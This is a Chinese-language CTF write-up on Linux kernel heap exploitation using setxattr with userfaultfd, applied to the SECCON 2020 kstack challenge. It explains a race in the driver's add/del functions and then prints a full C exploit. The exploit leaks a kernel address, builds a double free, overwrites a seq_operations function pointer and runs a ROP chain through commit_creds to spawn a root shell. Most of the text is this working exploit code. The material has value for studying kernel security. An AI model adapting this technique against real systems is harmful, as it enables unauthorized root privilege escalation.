附件下载链接 setxattr 系统调用可以进行近乎任意大小的内核空间 object 分配。 调用链如下:
SYS_setxattr()
path_setxattr()
setxattr()
其中 setattr 函数关键逻辑如下:
static long
setxattr(struct dentry *d, const char __user *name, const void __user *value,
size_t size, int flags)
{
kvalue = kvmalloc(size, GFP_KERNEL);
if (!kvalue)
return -ENOMEM;
if (copy_from_user(kvalue, value, size)) {
kvfree(kvalue);
return error;
}
虽然 setxattr 可以分配任意大小的内核空间 object ,但是分配完之后就立即被释放了,起不到利用效果。因此这里需要配合 userfaultfd 将执行过程卡在 copy_from_user 处。 我们通过 mmap 分配连续的两个页面,在第二个页面上启用 userfaultfd,并在第一个页面的末尾写入我们想要的数据,此时我们调用 setxattr 进行跨页面的拷贝,当 copy_from_user 拷贝到第二个页面时便会触发 userfaultfd,从而让 setxattr 的执行流程卡在此处,这样这个 object 就不会被释放掉,而是可以继续参与我们接下来的利用。 例题:SECCON 2020 kstack 驱动维护一个内存块构成的链表。 内存块大小为 32 字节。 链表结构如下图所示。
主要有 add 和 del 两个功能。 这里注意到 add 功能是先将申请的内存块添加到链表中,然后再 copy_from_user 写入内容;而 del 功能是先找到要删除的内存块 copy_to_user 将内容复制出来再将其从链表中取出并释放掉。 也就是说当无论是 copy_from_user 还是 copy_to_user ,要操作的内存块依旧在链表中,此时借助 userfaultfd 可以再次对其进行 del 操作从而构造出 uaf 和 double free 。 因此漏洞利用思路如下:
-
泄露内核地址 首先申请一个 seq_operations 并将其释放,然后 add 将这个释放的 seq_operations 申请出来,在 copy_from_user 处通过 userfaultfd 利用 del 删掉加入链表中的内存块其中 del 的 copy_to_user 泄露出内核地址。 -
构造 double free add 一个内存块然后将其 del ,在 copy_to_user 处通过 userfaultfd 利用 del 将其释放,userfaultfd 完成缺页处理后再次释放造成 double free 。 -
setxattr + userfaultfd 堆占位提权 构造 double free 之后先是申请 seq_operations ,之后再 setxattr 申请同一个内存块。利用 userfaultfd 编辑 seq_operations 修改 start 函数指针为指向 add rsp val; gadget 将栈迁移到 pt_regs 结构体上提前布置好的 ROP 上完成提权。
这里需要注意的一点是,前面 double free 的内存块申请出来后,freelist 已经被破坏,直接获取 shell 会造成 kernel panic ,因此需要先释放之前申请的一些内存块来供后面的使用。 另外 userfaultf 处理完缺页错误之后最好 return 结束循环处理,不然会出现一些奇怪的问题,比如泄露内核地址没及时 return 会造成 double free 的内存块再第二次申请时申请不出来。(这个地方卡了我很久)
exp 如下:
#include <fcntl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/xattr.h>
#include <unistd.h>
size_t prepare_kernel_cred = 0xffffffff81069e00;
size_t commit_creds = 0xffffffff81069c10;
size_t pop_rdi_ret = 0xffffffff81034505;
size_t mov_rdi_rax_pop_rbp_ret = 0xffffffff8102d5ce;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81600a34;
int dev_fd;
void add(void *a) {
if (ioctl(dev_fd, 0x57AC0001, a) < 0) {
puts("[-] add error");
exit(-1);
}
}
void del(void *a) {
if (ioctl(dev_fd, 0x57AC0002, a) < 0) {
puts("[-] del error");
exit(-1);
}
}
char *page;
size_t page_size;
size_t kernel_offset;
int cnt = 0;
void leak_thread(void *arg) {
long uffd = (long) arg;
while (true) {
struct pollfd pollfd;
pollfd.fd = (int) uffd;
pollfd.events = POLLIN;
int nready = poll(&pollfd, 1, -1);
if (nready == -1) {
puts("[-] Error at: poll");
exit(-1);
}
static struct uffd_msg msg;
ssize_t nread = read((int) uffd, &msg, sizeof(msg));
if (nread == 0) {
puts("[-] Error at: EOF on userfaultfd!");
exit(EXIT_FAILURE);
}
if (nread == -1) {
puts("[-] Error at: read");
exit(-1);
}
if (msg.event != UFFD_EVENT_PAGEFAULT) {
puts("[-] Unexpected event on userfaultfd");
exit(EXIT_FAILURE);
}
puts("[*] add trapped in userfaultfd.");
del(&kernel_offset);
printf("[+] leak addr: %p\n", kernel_offset);
kernel_offset -= 0xffffffff8113be80;
struct uffdio_copy uffdio_copy;
uffdio_copy.src = (unsigned long) page;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(page_size - 1);
printf("[*] uffdio_copy.dst: %p\n", uffdio_copy.dst);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl((int) uffd, UFFDIO_COPY, &uffdio_copy) == -1) {
puts("[-] Error at: ioctl-UFFDIO_COPY");
exit(-1);
}
return;
}
}
void *double_free_thread(void *arg) {
long uffd = (long) arg;
while (true) {
struct pollfd pollfd;
pollfd.fd = (int) uffd;
pollfd.events = POLLIN;
int nready = poll(&pollfd, 1, -1);
if (nready == -1) {
puts("[-] Error at: poll");
exit(-1);
}
static struct uffd_msg msg;
ssize_t nread = read((int) uffd, &msg, sizeof(msg));
if (nread == 0) {
puts("[-] Error at: EOF on userfaultfd!");
exit(EXIT_FAILURE);
}
if (nread == -1) {
puts("[-] Error at: read");
exit(-1);
}
if (msg.event != UFFD_EVENT_PAGEFAULT) {
puts("[-] Unexpected event on userfaultfd");
exit(EXIT_FAILURE);
}
puts("[*] del trapped in userfaultfd.");
puts("[*] construct the double free...");
del(page);
struct uffdio_copy uffdio_copy;
uffdio_copy.src = (unsigned long) page;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(page_size - 1);
printf("[*] uffdio_copy.dst: %p\n", uffdio_copy.dst);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl((int) uffd, UFFDIO_COPY, &uffdio_copy) == -1) {
puts("[-] Error at: ioctl-UFFDIO_COPY");
exit(-1);
}
}
}
int seq_fd_reserve[100], seq_fd;
void *hijack_thread(void *arg) {
long uffd = (long) arg;
while (true) {
struct pollfd pollfd;
pollfd.fd = (int) uffd;
pollfd.events = POLLIN;
int nready = poll(&pollfd, 1, -1);
if (nready == -1) {
puts("[-] Error at: poll");
exit(-1);
}
static struct uffd_msg msg;
ssize_t nread = read((int) uffd, &msg, sizeof(msg));
if (nread == 0) {
puts("[-] Error at: EOF on userfaultfd!");
exit(EXIT_FAILURE);
}
if (nread == -1) {
puts("[-] Error at: read");
exit(-1);
}
if (msg.event != UFFD_EVENT_PAGEFAULT) {
puts("[-] Unexpected event on userfaultfd");
exit(EXIT_FAILURE);
}
puts("[*] setxattr trapped in userfaultfd.");
for (int i = 0; i < 100; i++) {
close(seq_fd_reserve[i]);
}
pop_rdi_ret += kernel_offset;
mov_rdi_rax_pop_rbp_ret += kernel_offset;
prepare_kernel_cred += kernel_offset;
commit_creds += kernel_offset;
swapgs_restore_regs_and_return_to_usermode += kernel_offset + 0x10;
__asm__(
"mov r15, 0xbeefdead;"
"mov r14, 0x11111111;"
"mov r13, pop_rdi_ret;"
"mov r12, 0;"
"mov rbp, prepare_kernel_cred;"
"mov rbx, mov_rdi_rax_pop_rbp_ret;"
"mov r11, 0x66666666;"
"mov r10, commit_creds;"
"mov r9, swapgs_restore_regs_and_return_to_usermode;"
"mov r8, 0x99999999;"
"xor rax, rax;"
"mov rcx, 0xaaaaaaaa;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, seq_fd;"
"syscall");
puts("[+] back to userland successfully!");
printf("[+] uid: %d gid: %d\n", getuid(), getgid());
puts("[*] execve root shell now...");
system("/bin/sh");
}
}
void register_userfaultfd(void *addr, size_t len, void *(*handler)(void *)) {
long uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1) {
puts("[-] Error at: userfaultfd");
exit(-1);
}
struct uffdio_api uffdio_api = {.api = UFFD_API, .features = 0};
if (ioctl((int) uffd, UFFDIO_API, &uffdio_api) == -1) {
puts("[-] Error at: ioctl-UFFDIO_API");
exit(-1);
}
struct uffdio_register uffdio_register;
uffdio_register.range.start = (unsigned long) addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl((int) uffd, UFFDIO_REGISTER, &uffdio_register) == -1) {
puts("[-] Error at: ioctl-UFFDIO_REGISTER");
exit(-1);
}
static pthread_t monitor_thread;
if (pthread_create(&monitor_thread, NULL, handler, (void *) uffd) != 0) {
puts("[-] Error at: pthread_create");
exit(-1);
}
}
int main() {
if ((dev_fd = open("/proc/stack", O_RDONLY)) < 0) {
puts("[-] open kstack error.");
exit(-1);
}
page = malloc(0x1000);
page_size = sysconf(_SC_PAGE_SIZE);
for (int i = 0; i < 100; i++) {
if ((seq_fd_reserve[i] = open("/proc/self/stat", O_RDONLY)) < 0) {
puts("[-] open seq_operation error.");
exit(-1);
}
}
void *leak_uffd_buf = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
register_userfaultfd(leak_uffd_buf, page_size, (void *) leak_thread);
if ((seq_fd = open("/proc/self/stat", O_RDONLY)) < 0) {
puts("[-] open seq_operation error.");
exit(-1);
}
close(seq_fd);
add(leak_uffd_buf);
printf("[+] kernel offset: %p\n", kernel_offset);
void *uaf_uffd_buf = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
register_userfaultfd(uaf_uffd_buf, page_size, (void *) double_free_thread);
add("aaa");
del(uaf_uffd_buf);
char *hijack_uffd_buf = (char *) mmap(NULL, page_size * 2, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1,
0);
register_userfaultfd(hijack_uffd_buf + page_size, page_size, (void *) hijack_thread);
*(size_t *) (hijack_uffd_buf + page_size - 8) = 0xffffffff814d51c0 + kernel_offset;
if ((seq_fd = open("/proc/self/stat", O_RDONLY)) < 0) {
puts("[-] open seq_operation error.");
exit(-1);
}
setxattr("/exp", page, hijack_uffd_buf + page_size - 8, 32, 0);
return 0;
}
|